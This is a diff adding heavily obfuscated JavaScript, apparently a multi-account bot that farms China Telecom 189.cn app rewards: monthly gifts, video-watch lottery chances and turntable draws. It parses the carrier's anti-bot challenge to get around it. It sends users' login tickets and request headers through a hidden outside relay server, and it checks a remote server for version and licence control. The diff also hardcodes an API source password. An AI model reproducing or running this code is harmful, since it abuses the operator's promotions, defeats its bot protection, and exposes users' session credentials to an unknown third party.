+ _0x2e47a1 = _0x1a907b.get(_0x22c771, "edoc".split("").reverse().join(""), -1);
+ if (_0x2e47a1 == 0) {
+ this.log("[间播直赞点".split("").reverse().join("") + _0x29115e + "]成功");
+ } else {
+ {
+ let _0x5b1fb2 = _0x22c771?.["msg"] || _0x22c771?.["gsMtluoser".split("").reverse().join("")] || _0x22c771?.["rorre".split("").reverse().join("")] || _0x22c771?.["msg"] || "";
+ this.log("[间播直赞点".split("").reverse().join("") + _0x29115e + "[败失]".split("").reverse().join("") + _0x2e47a1 + "]: " + _0x5b1fb2);
+ }
+ }
+ }
+ } catch (_0x51f02a) {
+ console.log(_0x51f02a);
+ }
+ }
+ async ["sharingGetGold"](_0x280742 = {}) {
+ let _0xdd9b48 = this.rsCkk,
+ _0x2c29e0 = this.getrsCk;
+ _0x2c29e0 = this.rsFun().getck();
+ _0xdd9b48 = await this.parseCookies(_0x2c29e0, _0xdd9b48);
+ try {
+ let _0x2148d2 = {
+ "ckvalue": _0xdd9b48,
+ "fn": "sharingGetGold",
+ "method": "post",
+ "url": "https://appfuwu.189.cn:9021/query/sharingGetGold",
+ "json": {
+ "headerInfos": {
+ "code": "sharingGetGold",
+ "timestamp": _0x1a907b.time("yyyyMMddhhmmss"),
+ "broadAccount": "",
+ "broadToken": "",
+ "clientType": "#9.6.1#channel50#iPhone 14 Pro Max#",
+ "shopId": "20002",
+ "source": "110003",
+ "sourcePassword": "Sid98s",
+ "token": this.token,
+ "userLoginName": this.name
+ },
+ "content": {
+ "attach": "test",
+ "fieldData": {
+ "shareSource": "3",
+ "userId": this.userId,
+ "account": this.encode_phone()
+ }
+ }
+ }
+ },
+ {
+ "result": _0x5691a6,
+ "statusCode": _0x3d9213
+ } = await this.request(_0x2148d2),
+ _0x7781f1 = _0x1a907b.get(_0x5691a6?.["responseData"], "resultCode", -1);
+ if (_0x7781f1 == "0000") this.log("功成享分".split("").reverse().join(""));else {
+ {
+ let _0x788cc4 = _0x5691a6?.["msg"] || _0x5691a6?.["ataDesnopser".split("").reverse().join("")]?.["resultDesc"] || _0x5691a6?.["rorre".split("").reverse().join("")] || _0x5691a6?.["gsm".split("").reverse().join("")] || "";
+ this.log("分享失败[" + _0x7781f1 + " :]".split("").reverse().join("") + _0x788cc4);
+ }
+ }
+ } catch (_0x24702a) {
+ console.log(_0x24702a);
+ }
+ }
+ async ["month_jml_login"](_0x3495c5 = {}) {
+ let _0x46dace = this.rsCkk,
+ _0x18399d = this.getrsCk;
+ _0x18399d = this.rsFun().getck();
+ _0x46dace = await this.parseCookies(_0x18399d, _0x46dace);
+ try {
+ const _0x519f42 = {
+ "ticket": this.ticket
+ };
+ let _0x2c5273 = {
+ "ckvalue": _0x46dace,
+ "fn": "month_jml_login",
+ "method": "get",
+ "url": "https://wappark.189.cn/jt-sign/ssoHomLoginCommon",
+ "searchParams": _0x519f42
+ },
+ {
+ "result": _0x80b0ed,
+ "statusCode": _0x41466b
+ } = await this.request(_0x2c5273),
+ _0x330b93 = _0x1a907b.get(_0x80b0ed, "resoultCode", _0x41466b);
+ if (_0x330b93 == 0) {
+ this.log("城翼yb-功成录登礼面见".split("").reverse().join(""));
+ let _0x3795bd = _0x1a907b.get(_0x80b0ed, "resoultMsg") || "功成录登".split("").reverse().join("");
+ await this.month_jml_getInfo(_0x3795bd);
+ await this.month_jml_check(_0x1a907b.get(_0x80b0ed, "dIcca".split("").reverse().join("")));
+ await this.month_jml_getCount(_0x1a907b.get(_0x80b0ed, "dIcca".split("").reverse().join("")));
+ await this.month_jml_refresh(_0x1a907b.get(_0x80b0ed, "accId"));
+ await this.month_jml_lotteryrefresh(_0x1a907b.get(_0x80b0ed, "accId"));
+ } else {
+ let _0x47eb8d = _0x80b0ed?.["gsm".split("").reverse().join("")] || _0x80b0ed?.["resoultMsg"] || _0x80b0ed?.["rorre".split("").reverse().join("")] || "";
+ this.log("[败失录登礼面见月每".split("").reverse().join("") + _0x330b93 + " :]".split("").reverse().join("") + _0x47eb8d);
+ }
+ } catch (_0x35a93f) {
+ console.log(_0x35a93f);
+ }
+ }
+ async ["month_jml_check"](_0x3a5e59, _0x510f6e = {}) {
+ var _0xf8c9ae = 14;
+ let _0x5dfb2f = this.rsCkk;
+ _0xf8c9ae = 7;
+ var _0x30620e = 5;
+ let _0x61990b = this.getrsCk;
+ _0x30620e = "bnbbpq";
+ _0x61990b = this.rsFun().getck();
+ _0x5dfb2f = await this.parseCookies(_0x61990b, _0x5dfb2f);
+ try {
+ const _0x310acd = {
+ "phone": _0x3a5e59
+ };
+ let _0xcdcff2 = {
+ "ckvalue": _0x5dfb2f,
+ "fn": "month_jml_check",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/welfare/check",
+ "json": {
+ "para": this.encrypt_para(_0x310acd)
+ }
+ },
+ {
+ "result": _0x5a7a54,
+ "statusCode": _0x4eae22
+ } = await this.request(_0xcdcff2),
+ _0x4206ab = _0x1a907b.get(_0x5a7a54, "resoultCode", _0x4eae22);
+ if (_0x4206ab == 0) this.jml_tokenFlag = _0x5a7a54?.["atad".split("").reverse().join("")]?.["flag"], this.log("见面礼 " + _0x5a7a54.resoultMsg), await this.month_jml_receive(_0x3a5e59);else {
+ let _0xba31ac = _0x5a7a54?.["msg"] || _0x5a7a54?.["resoultMsg"] || _0x5a7a54?.["rorre".split("").reverse().join("")] || "";
+ this.jml_tokenFlag = _0x5a7a54?.["data"]?.["galf".split("").reverse().join("")];
+ this.log("领取每月见面礼失败[" + _0x4206ab + "]: " + _0xba31ac);
+ }
+ } catch (_0x11f235) {
+ console.log(_0x11f235);
+ }
+ }
+ async ["month_jml_getInfo"](_0x7f140, _0x2054b3 = {}) {
+ {
+ let _0x34b567 = this.rsCkk,
+ _0x238dbd = this.getrsCk;
+ _0x238dbd = this.rsFun().getck();
+ _0x34b567 = await this.parseCookies(_0x238dbd, _0x34b567);
+ try {
+ const _0x38a988 = {
+ "configCode": "nxflb"
+ };
+ let _0x43f2bf = {
+ "ckvalue": _0x34b567,
+ "fn": "month_jml_getInfo",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/welfare/getInfo",
+ "json": {
+ "para": this.encrypt_para(_0x38a988)
+ }
+ },
+ {
+ "result": _0x3e535f,
+ "statusCode": _0x1aef69
+ } = await this.request(_0x43f2bf),
+ _0x15cf8a = _0x1a907b.get(_0x3e535f, "resoultCode", _0x1aef69);
+ if (_0x15cf8a == 0) {
+ let _0x5160ca = _0x3e535f.data.map(_0x3a8d8a => _0x3a8d8a.title) || [];
+ this.jml_tokenFlag = _0x3e535f?.["data"]?.["flag"];
+ this.log("见面礼" + _0x7f140 + ": " + _0x5160ca.join(" ,".split("").reverse().join("")));
+ } else {
+ let _0x1dd2e9 = _0x3e535f?.["gsm".split("").reverse().join("")] || _0x3e535f?.["gsMtluoser".split("").reverse().join("")] || _0x3e535f?.["error"] || "";
+ this.log("领取每月见面礼失败[" + _0x15cf8a + " :]".split("").reverse().join("") + _0x1dd2e9);
+ }
+ } catch (_0x4a8bf0) {
+ console.log(_0x4a8bf0);
+ }
+ }
+ }
+ async ["month_jml_receive"](_0x41871e, _0x33741d = {}) {
+ var _0x3b5bbf = 6;
+ let _0x28d366 = this.rsCkk;
+ _0x3b5bbf = 6;
+ let _0x41751d = this.getrsCk;
+ _0x41751d = this.rsFun().getck();
+ _0x28d366 = await this.parseCookies(_0x41751d, _0x28d366);
+ try {
+ {
+ const _0x238b48 = {
+ "phone": _0x41871e,
+ "flag": this.jml_tokenFlag
+ };
+ let _0x337c6f = {
+ "ckvalue": _0x28d366,
+ "fn": "month_jml_receive",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/welfare/receive",
+ "json": {
+ "para": this.encrypt_para(_0x238b48)
+ }
+ },
+ {
+ "result": _0x44ffb4,
+ "statusCode": _0x35e0ee
+ } = await this.request(_0x337c6f),
+ _0x85b1d5 = _0x1a907b.get(_0x44ffb4, "resoultCode", -1);
+ if (_0x85b1d5 == 0) this.log("见面礼:" + _0x44ffb4?.["resoultMsg"]);else {
+ {
+ let _0x343ed1 = _0x44ffb4?.["msg"] || _0x44ffb4?.["resoultMsg"] || _0x44ffb4?.["error"] || "";
+ this.log("领取APP抽奖次数失败[" + _0x85b1d5 + "]: " + _0x343ed1);
+ }
+ }
+ }
+ } catch (_0x364a95) {
+ console.log(_0x364a95);
+ }
+ }
+ async ["month_jml_getCount"](_0x3a8f24, _0x200ed1 = {}) {
+ {
+ let _0x5ea68f,
+ _0x4c2ebd = this.rsCkk;
+ _0x5ea68f = "iefjco".split("").reverse().join("");
+ var _0x62fb17 = 11;
+ let _0x24f64b = this.getrsCk;
+ _0x62fb17 = 7;
+ _0x24f64b = this.rsFun().getck();
+ _0x4c2ebd = await this.parseCookies(_0x24f64b, _0x4c2ebd);
+ try {
+ const _0x5c0fc1 = {
+ "phone": _0x3a8f24,
+ "flag": this.jml_tokenFlag
+ };
+ let _0x4a22b5 = {
+ "ckvalue": _0x4c2ebd,
+ "fn": "month_jml_getCount",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/lottery/getCount",
+ "json": {
+ "para": this.encrypt_para(_0x5c0fc1)
+ }
+ },
+ {
+ "result": _0x4b70e4,
+ "statusCode": _0x1e351
+ } = await this.request(_0x4a22b5),
+ _0x25282e = _0x1a907b.get(_0x4b70e4, "edoc".split("").reverse().join(""), -1);
+ if (_0x25282e == 0) {
+ {
+ let _0x123ff0 = _0x4b70e4?.["video"]?.["pam".split("").reverse().join("")](_0x21e024 => _0x21e024.videoType) || [],
+ _0x136cfa = _0x59860f.filter(_0x10009e => !_0x123ff0.includes(_0x10009e)),
+ _0x172d12 = false;
+ for (let _0x165bd4 of _0x136cfa) {
+ {
+ if (_0x172d12) {
+ let _0x391f3e = Math.floor(Math.random() * 5000) + 5000;
+ await _0x1a907b.wait(_0x391f3e);
+ }
+ await this.month_jml_addVideoCount(_0x3a8f24, _0x165bd4);
+ _0x172d12 = true;
+ }
+ }
+ }
+ } else {
+ let _0x1ccd7a = _0x4b70e4?.["msg"] || _0x4b70e4?.["gsMtluoser".split("").reverse().join("")] || _0x4b70e4?.["error"] || "";
+ this.log("[败失数次会机奖抽得频视看询查".split("").reverse().join("") + _0x25282e + " :]".split("").reverse().join("") + _0x1ccd7a);
+ }
+ } catch (_0x1a8397) {
+ console.log(_0x1a8397);
+ }
+ }
+ }
+ async ["month_jml_addVideoCount"](_0x3588dd, _0x2e8637, _0x43a1b7 = {}) {
+ let _0xa50529 = this.rsCkk;
+ var _0x43c847 = 11;
+ let _0x4338c1 = this.getrsCk;
+ _0x43c847 = 1;
+ _0x4338c1 = this.rsFun().getck();
+ _0xa50529 = await this.parseCookies(_0x4338c1, _0xa50529);
+ try {
+ const _0x17baec = {
+ "phone": _0x3588dd,
+ "videoType": _0x2e8637,
+ "flag": this.jml_tokenFlag
+ };
+ let _0x48ea21 = {
+ "ckvalue": _0xa50529,
+ "fn": "month_jml_addVideoCount",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/lottery/addVideoCount",
+ "json": {
+ "para": this.encrypt_para(_0x17baec)
+ }
+ },
+ {
+ "result": _0x25ea16,
+ "statusCode": _0x2ee8b8
+ } = await this.request(_0x48ea21),
+ _0x3c6225 = _0x1a907b.get(_0x25ea16, "edoc".split("").reverse().join(""), -1);
+ if (_0x3c6225 == 0) this.log("[频视看".split("").reverse().join("") + _0x2e8637 + "]得抽奖机会成功");else {
+ {
+ let _0x34bda3 = _0x25ea16?.["gsm".split("").reverse().join("")] || _0x25ea16?.["gsMtluoser".split("").reverse().join("")] || _0x25ea16?.["error"] || "";
+ this.log("[频视看".split("").reverse().join("") + _0x2e8637 + "[败失会机奖抽得]".split("").reverse().join("") + _0x3c6225 + "]: " + _0x34bda3);
+ }
+ }
+ } catch (_0x1b6d99) {
+ console.log(_0x1b6d99);
+ }
+ }
+ async ["month_jml_refresh"](_0x336f0c, _0x4fea48 = {}) {
+ let _0x25b074,
+ _0x587292 = this.rsCkk;
+ _0x25b074 = 12;
+ let _0x14fe49 = this.getrsCk;
+ _0x14fe49 = this.rsFun().getck();
+ _0x587292 = await this.parseCookies(_0x14fe49, _0x587292);
+ try {
+ const _0x2d9be4 = {
+ "phone": _0x336f0c
+ };
+ let _0x4cb729 = {
+ "ckvalue": _0x587292,
+ "fn": "month_jml_refresh",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/welfare/receiveInfo",
+ "json": {
+ "para": this.encrypt_para(_0x2d9be4)
+ }
+ },
+ {
+ "result": _0x1bde01,
+ "statusCode": _0x4a7ac8
+ } = await this.request(_0x4cb729),
+ _0xe586bc = _0x1a907b.get(_0x1bde01, "resoultCode", -1);
+ if (_0xe586bc == "0") this.log("见面礼包领取到:" + _0x1bde01.data.map(_0xd849f5 => _0xd849f5.prizeName) || []);else {
+ let _0xa3cff = _0x1bde01?.["msg"] || _0x1bde01?.["resoultMsg"] || _0x1bde01?.["error"] || "";
+ this.log("查询抽奖次数失败[" + _0xe586bc + "]: " + _0xa3cff);
+ }
+ } catch (_0x13cced) {
+ console.log(_0x13cced);
+ }
+ }
+ async ["month_jml_lotteryRevice"](_0x90043e, _0x50d070 = {}) {
+ {
+ var _0x238e72 = 6;
+ let _0x48a96e = this.rsCkk;
+ _0x238e72 = 10;
+ let _0x23bb35 = this.getrsCk;
+ _0x23bb35 = this.rsFun().getck();
+ _0x48a96e = await this.parseCookies(_0x23bb35, _0x48a96e);
+ try {
+ const _0x21bcee = {
+ "phone": _0x90043e,
+ "flag": this.jml_tokenFlag
+ };
+ let _0x102aed = {
+ "ckvalue": _0x48a96e,
+ "fn": "month_jml_lotteryRevice",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/lottery/lotteryRevice",
+ "json": {
+ "para": this.encrypt_para(_0x21bcee)
+ }
+ },
+ {
+ "result": _0x3b42ac,
+ "statusCode": _0x16206b
+ } = await this.request(_0x102aed),
+ _0x2fade7 = _0x1a907b.get(_0x3b42ac, "edoc".split("").reverse().join(""), -1);
+ if (_0x2fade7 == 0) {
+ let {
+ "rname": _0xc04c84,
+ "id": _0xd95992
+ } = _0x3b42ac;
+ const _0x5cefa0 = {
+ "notify": true
+ };
+ this.log("app抽奖: " + _0xc04c84, _0x5cefa0);
+ } else {
+ {
+ let _0x48f7d0 = _0x3b42ac?.["msg"] || _0x3b42ac?.["resoultMsg"] || _0x3b42ac?.["error"] || "";
+ this.log("[奖抽ppa".split("").reverse().join("") + _0x2fade7 + " :]".split("").reverse().join("") + _0x48f7d0);
+ }
+ }
+ } catch (_0x2873f8) {
+ console.log(_0x2873f8);
+ }
+ }
+ }
+ async ["month_jml_lotteryrefresh"](_0xd47f09, _0x45de11 = {}) {
+ var _0x127c16 = 5;
+ let _0x261187 = this.rsCkk;
+ _0x127c16 = 16;
+ let _0xc13f02 = this.getrsCk;
+ _0xc13f02 = this.rsFun().getck();
+ _0x261187 = await this.parseCookies(_0xc13f02, _0x261187);
+ try {
+ {
+ const _0x30527d = {
+ "phone": _0xd47f09,
+ "flag": this.jml_tokenFlag
+ };
+ let _0x450457 = {
+ "ckvalue": _0x261187,
+ "fn": "month_jml_refresh",
+ "method": "post",
+ "url": "https://wappark.189.cn/jt-sign/lottery/refresh",
+ "json": {
+ "para": this.encrypt_para(_0x30527d)
+ }
+ },
+ {
+ "result": _0x4f5aa0,
+ "statusCode": _0x201c76
+ } = await this.request(_0x450457),
+ _0x46deea = _0x1a907b.get(_0x4f5aa0, "resoultCode", -1);
+ if (_0x46deea == -1 || _0x46deea == "1-".split("").reverse().join("")) {
+ let _0x563c6a = _0x4f5aa0?.["rNumber"] || 0;
+ this.log("可以抽奖" + _0x563c6a + "次");
+ let _0x384df8 = false;
+ while (_0x563c6a-- > 0) {
+ if (_0x384df8) {
+ let _0x145134 = Math.floor(Math.random() * 5000) + 3000;
+ await _0x1a907b.wait(_0x145134);
+ }
+ await this.month_jml_lotteryRevice(_0xd47f09);
+ _0x384df8 = true;
+ }
+ } else {
+ let _0x5a93ca = _0x4f5aa0?.["msg"] || _0x4f5aa0?.["resoultMsg"] || _0x4f5aa0?.["error"] || "";
+ this.log("[败失数次奖抽询查".split("").reverse().join("") + _0x46deea + "]: " + _0x5a93ca);
+ }
+ }
+ } catch (_0x2b29df) {
+ console.log(_0x2b29df);
+ }
+ }
+ async ["rpc_request"](_0x57a466, _0x4a841c = "teg".split("").reverse().join(""), _0x14f9f0 = null) {
+ const _0xe2ea84 = new Error(),
+ _0x2637e9 = _0xe2ea84.stack,
+ _0x232c77 = _0x2637e9.split("\n"),
+ _0x476021 = _0x232c77?.[2]?.["match"](new RegExp(")+w\\(.\\ssalCresU".split("").reverse().join(""), ""))?.[1] || "cpr".split("").reverse().join("");
+ let _0x108fff = {
+ "fn": _0x476021,
+ "method": "post",
+ "url": _0x51e8a6,
+ "json": {
+ "key": _0x4b73f5,
+ "method": _0x4a841c,
+ "url": _0x57a466.toString(),
+ "headers": this.get_mall_headers(),
+ "data": JSON.stringify(_0x14f9f0)
+ }
+ };
+ return await this.request(_0x108fff);
+ }
+ async ["auth_login"](_0x305c76 = {}) {
+ let _0x29ab06 = false;
+ try {
+ let _0x20e5e5 = this.ticket,
+ _0x9c040f = new URL("https://wapact.189.cn:9001/unified/user/login"),
+ _0x471647 = {
+ "ticket": _0x20e5e5,
+ "backUrl": encodeURIComponent("https://wapact.189.cn:9001/JinDouMall/JinDouMall_luckDraw.html?ticket=" + _0x20e5e5),
+ "platformCode": "P201010301",
+ "loginType": 2
+ },
+ {
+ "result": _0x318649,
+ "statusCode": _0x427b0a
+ } = await this.rpc_request(_0x9c040f, "TSOP".split("").reverse().join(""), _0x471647),
+ _0x3bb842 = _0x1a907b.get(_0x318649, "edoc".split("").reverse().join(""), _0x427b0a);
+ if (_0x3bb842 == 0) {
+ let {
+ "token": _0x1c90d7,
+ "sessionId": _0x34a1ea
+ } = _0x318649?.["biz"];
+ this.mall_token = _0x1c90d7;
+ _0x29ab06 = true;
+ } else {
+ {
+ let _0x33543a = _0x1a907b.get(_0x318649, "message", "");
+ this.log("[败失录登城商".split("").reverse().join("") + _0x3bb842 + "]: " + _0x33543a);
+ }
+ }
+ } catch (_0x22ecd6) {
+ console.log(_0x22ecd6);
+ } finally {
+ return _0x29ab06;
+ }
+ }
+ async ["queryInfo"](_0x5196aa = {}) {
+ let _0x540aa = this.rsCkk,
+ _0x177e1 = this.getrsCk;
+ _0x177e1 = this.rsFun().getck();
+ _0x540aa = await this.parseCookies(_0x177e1, _0x540aa);
+ try {
+ {
+ let _0x244386 = new URL("ofnIyreuq/ipa/nedlog/yawetag/1009:nc.981.tcapaw//:sptth".split("").reverse().join(""));
+ _0x244386.searchParams.append("_", Date.now().toString());
+ let {
+ "result": _0x1609b1,
+ "statusCode": _0x31ebe5
+ } = await this.rpc_request(_0x244386),
+ _0x3fcf26 = _0x1a907b.get(_0x1609b1, "code", _0x31ebe5);
+ if (_0x3fcf26 == 0) this.coin = _0x1609b1?.["biz"]?.["latoTtnuoma".split("").reverse().join("")] || this.coin, await this.queryTurnTable();else {
+ let _0x460eec = _0x1a907b.get(_0x1609b1, "egassem".split("").reverse().join(""), "");
+ this.log("[败失态状城商询查".split("").reverse().join("") + _0x3fcf26 + " :]".split("").reverse().join("") + _0x460eec);
+ }
+ }
+ } catch (_0x10a6a1) {
+ console.log(_0x10a6a1);
+ }
+ }
+ async ["queryTurnTable"](_0x13e9b2 = {}) {
+ try {
+ {
+ let _0x207904 = new URL("https://wapact.189.cn:9001/gateway/golden/api/queryTurnTable");
+ _0x207904.searchParams.append("epyTresu".split("").reverse().join(""), "1");
+ _0x207904.searchParams.append("_", Date.now().toString());
+ let {
+ "result": _0x418797,
+ "statusCode": _0x33f510
+ } = await this.rpc_request(_0x207904),
+ _0x234989 = _0x1a907b.get(_0x418797, "code", _0x33f510);
+ if (_0x234989 == 0) {
+ {
+ let _0x2478c7 = _0x418797?.["zib".split("").reverse().join("")]?.["tnuoCoaHoaix".split("").reverse().join("")] || 20,
+ _0x3d2007 = _0x418797?.["biz"]?.["wzTurntable"]?.["code"] || "";
+ _0x3d2007 ? await this.lottery_check(_0x3d2007, _0x2478c7) : this.log("DI奖抽盘转到取获有没".split("").reverse().join(""));
+ }
+ } else {
+ let _0x441c18 = _0x1a907b.get(_0x418797, "message", "");
+ this.log("获取转盘抽奖活动失败[" + _0x234989 + "]: " + _0x441c18);
+ }
+ }
+ } catch (_0x53d3e6) {
+ console.log(_0x53d3e6);
+ }
+ }
+ async ["lottery_check"](_0x5144b5, _0x239f8b, _0x27fbba = {}) {
+ try {
+ let _0x52b610 = new URL("kcehc/liated/dnats/yawetag/1009:nc.981.tcapaw//:sptth".split("").reverse().join(""));
+ _0x52b610.searchParams.append("activityId", _0x5144b5);
+ _0x52b610.searchParams.append("_", Date.now().toString());
+ let {
+ "result": _0x9a83dd,
+ "statusCode": _0x5333c5
+ } = await this.rpc_request(_0x52b610),
+ _0x3a983d = _0x1a907b.get(_0x9a83dd, "edoc".split("").reverse().join(""), _0x5333c5);
+ if (_0x3a983d == 0) {
+ let _0x4c2b07 = _0x9a83dd?.["zib".split("").reverse().join("")]?.["ofnItluser".split("").reverse().join("")]?.["chanceCount"] || 0;
+ this.log("转盘可以抽奖" + _0x4c2b07 + "次, 消耗金豆" + _0x239f8b + "/" + this.coin);
+ let _0x2dfc6f = false;
+ while (_0x4c2b07-- > 0 && this.coin >= _0x239f8b) {
+ _0x2dfc6f && (await _0x1a907b.wait(3000));
+ _0x2dfc6f = true;
+ await this.lottery_do(_0x5144b5, _0x239f8b);
+ }
+ } else {
+ {
+ let _0x5ce2c1 = _0x1a907b.get(_0x9a83dd, "message", "");
+ this.log("[败失数次奖抽盘转询查".split("").reverse().join("") + _0x3a983d + " :]".split("").reverse().join("") + _0x5ce2c1);
+ }
+ }
+ } catch (_0x3d0a2c) {
+ console.log(_0x3d0a2c);
+ }
+ }
+ async ["lottery_do"](_0xf447fc, _0x2d0b83 = {}) {
+ try {
+ {
+ let _0x28e248 = new URL("https://wapact.189.cn:9001/gateway/golden/api/lottery");
+ const _0x594e1d = {
+ "activityId": _0xf447fc
+ };
+ let {
+ "result": _0x29a9e6,
+ "statusCode": _0x41c5a5
+ } = await this.rpc_request(_0x28e248, "POST", _0x594e1d),
+ _0xefa201 = _0x1a907b.get(_0x29a9e6, "code", _0x41c5a5);
+ if (_0xefa201 == 0) {
+ {
+ this.coin = _0x29a9e6?.["zib".split("").reverse().join("")]?.["amountTotal"] || this.coin - xiaoHaoCount;
+ let _0x2a89e2 = _0x29a9e6?.["biz"]?.["resultCode"],
+ _0x873825 = "";
+ switch (_0x2a89e2) {
+ case "0":
+ {
+ let _0x3d49ea = _0x29a9e6?.["biz"]?.["resultInfo"]?.["eltiTniw".split("").reverse().join("")] || "空气";
+ const _0x3da76d = {
+ "notify": true
+ };
+ this.log("转盘抽奖: " + _0x3d49ea, _0x3da76d);
+ return;
+ }
+ case "412":
+ {
+ _0x873825 = "抽奖次数已达上限";
+ break;
+ }
+ case "413":
+ case "420":
+ {
+ _0x873825 = "金豆不足";
+ break;
+ }
+ default:
+ {
+ {
+ this.log(": " + JSON.stringify(_0x29a9e6));
+ _0x873825 = "未知原因";
+ break;
+ }
+ }
+ }
+ this.log("转盘抽奖失败[" + _0x2a89e2 + "]: " + _0x873825);
+ }
+ } else {
+ let _0x323f95 = _0x1a907b.get(_0x29a9e6, "message", "");
+ this.log("[误错奖抽盘转".split("").reverse().join("") + _0xefa201 + " :]".split("").reverse().join("") + _0x323f95);
+ }
+ }
+ } catch (_0x1a5486) {
+ console.log(_0x1a5486);
+ }
+ }
+ async ["userTask"]() {
+ console.time("[号账".split("").reverse().join("") + this.index + "]" + "耗时");
+ const _0x331d29 = {
+ "notify": true
+ };
+ let _0x4cf85d,
+ _0x1e8b64 = this.name;
+ _0x4cf85d = "ocmgng";
+ _0x1a907b.log("\n======= 账号[" + this.index + "[]".split("").reverse().join("") + _0x1e8b64.slice(0, 3) + "****".split("").reverse().join("") + _0x1e8b64.slice(-4) + "] =======", _0x331d29);
+ if (!this.load_token() && !(await this.login())) {
+ return;
+ }
+ if (!(await this.get_ticket())) return;
+ await this.get_sign();
+ await this.get_ticket();
+ await this.userCoinInfo();
+ await this.getLevelRightsList();
+ await this.month_jml_login();
+ await this.userStatusInfo();
+ await this.continueSignRecords();
+ await this.homepage("djzwrz_dq_gh".split("").reverse().join(""));
+ await this.getParadiseInfo();
+ _0x51e8a6 && (await this.userLotteryTask());
+ await this.userCoinInfo(true);
+ await _0x1a907b.wait(3000);
+ console.timeEnd("账号[" + this.index + "]" + "时耗".split("").reverse().join(""));
+ }
+ async ["userLotteryTask"]() {
+ if (!(await this.auth_login())) return;
+ await this.queryInfo();
+ }
+ }
+ !(async () => {
+ {
+ _0x1a907b.read_env(_0x173a90);
+ _0x5c3daa();
+ for (let _0x14b12a of _0x1a907b.userList) {
+ await _0x14b12a.userTask();
+ }
+ }
+ })().catch(_0x1b56c2 => _0x1a907b.log(_0x1b56c2)).finally(() => _0x1a907b.exitNow());
+ async function _0x42f36f(_0x3c60e7 = 0) {
+ {
+ let _0x27f4b7 = [];
+ try {
+ const _0x208967 = {
+ "fn": "auth",
+ "method": "get",
+ "url": _0x14c4e5,
+ "timeout": 20000
+ };
+ let {
+ "statusCode": _0x5cd022,
+ "result": _0x198999
+ } = await _0x42ec34.request(_0x208967);
+ if (_0x5cd022 != 200) return _0x3c60e7++ < _0x503087 && (_0x27f4b7 = await _0x42f36f(_0x3c60e7)), _0x27f4b7;
+ if (_0x198999?.["edoc".split("").reverse().join("")] == 0) {
+ _0x198999 = JSON.parse(_0x198999.data.file.data);
+ if (_0x198999?.["commonNotify"] && _0x198999.commonNotify.length > 0) {
+ const _0x395fa2 = {
+ "notify": true
+ };
+ _0x1a907b.log(_0x198999.commonNotify.join("\n") + "\n", _0x395fa2);
+ }
+ _0x198999?.["gsMnommoc".split("").reverse().join("")] && _0x198999.commonMsg.length > 0 && _0x1a907b.log(_0x198999.commonMsg.join("\n") + "\n");
+ if (_0x198999[_0x26154c]) {
+ {
+ let _0x18f4fa = _0x198999[_0x26154c];
+ _0x18f4fa.status == 0 ? _0x2a1f65 >= _0x18f4fa.version ? (_0x27f4b7 = true, _0x1a907b.log(_0x18f4fa.msg[_0x18f4fa.status]), _0x1a907b.log(_0x18f4fa.updateMsg), _0x1a907b.log(":是本版本脚的行运在现".split("").reverse().join("") + _0x2a1f65 + ",最新脚本版本:" + _0x18f4fa.latestVersion)) : _0x1a907b.log(_0x18f4fa.versionMsg) : _0x1a907b.log(_0x18f4fa.msg[_0x18f4fa.status]);
+ }
+ } else {
+ _0x1a907b.log(_0x198999.errorMsg);
+ }
+ } else _0x3c60e7++ < _0x503087 && (_0x27f4b7 = await _0x42f36f(_0x3c60e7));
+ } catch (_0xb3a78e) {
+ _0x1a907b.log(_0xb3a78e);
+ } finally {
+ return _0x27f4b7;
+ }
+ }
+ }
+ function _0xf189dd(_0x58fdd8) {
+ return new class {
+ constructor(_0x35e98f) {
+ {
+ this.name = _0x35e98f;
+ this.startTime = Date.now();
+ const _0x2f9e2a = {
+ "time": true
+ };
+ this.log("[" + this.name + "]开始运行\n", _0x2f9e2a);
+ this.notifyStr = [];
+ this.notifyFlag = true;
+ this.userIdx = 0;
+ this.userList = [];
+ this.userCount = 0;
+ this.default_timestamp_len = 13;
+ this.default_wait_interval = 1000;
+ this.default_wait_limit = 3600000;
+ this.default_wait_ahead = 0;
+ }
+ }
+ ["log"](_0x3a25ce, _0x250d9c = {}) {
+ const _0x53456a = {
+ "console": true
+ };
+ Object.assign(_0x53456a, _0x250d9c);
+ if (_0x53456a.time) {
+ {
+ let _0x52a2dc = _0x53456a.fmt || "ss:mm:hh".split("").reverse().join("");
+ _0x3a25ce = "[" + this.time(_0x52a2dc) + "]" + _0x3a25ce;
+ }
+ }
+ if (_0x53456a.notify) {
+ this.notifyStr.push(_0x3a25ce);
+ }
+ _0x53456a.console && console.log(_0x3a25ce);
+ }
+ ["get"](_0x175a36, _0x26ff7a, _0x222b0e = "") {
+ {
+ let _0x745ed7 = _0x222b0e;
+ if (_0x745ed7 === 412) {
+ let _0x51e64 = _0x3b0b0e.parseFromString(_0x175a36, "lmx/noitacilppa".split("").reverse().join(""));
+ _0x51e64 == undefined && (_0x51e64 = _0x3b0b0e.parseFromString(_0x175a36.response.body, "application/xml"));
+ var _0x2ea96e = 15;
+ const _0x1ab896 = _0x51e64.getElementsByTagName("meta")[1]?.["getAttribute"]("tnetnoc".split("").reverse().join(""));
+ _0x2ea96e = 5;
+ const _0x12706b = _0x51e64.getElementsByTagName("meta")[1]?.["getAttribute"]("id"),
+ _0x33d574 = _0x51e64.getElementsByTagName("script");
+ var _0x283812 = 15;
+ const _0x1c9de1 = Array.from(_0x33d574).find(_0x6c5341 => {
+ var _0x28f145 = 10;
+ const _0x5f1bb6 = _0x6c5341.textContent || _0x6c5341.text;
+ _0x28f145 = 5;
+ return _0x5f1bb6.includes("$_ts=window['$_ts']");
+ });
+ _0x283812 = "lkfdbl".split("").reverse().join("");
+ const _0x3b5a1a = Array.from(_0x33d574).find(_0x51d827 => _0x51d827.getAttribute("crs".split("").reverse().join("")));
+ if (_0x1c9de1 && _0x3b5a1a) {
+ let _0x97e26d;
+ const _0x484c30 = _0x1c9de1.textContent || _0x1c9de1.text;
+ _0x97e26d = 4;
+ const _0x520857 = _0x3b5a1a.getAttribute("crs".split("").reverse().join(""));
+ return {
+ "contentCODE": _0x1ab896,
+ "tsCODE": _0x484c30,
+ "srcAttribute": _0x520857,
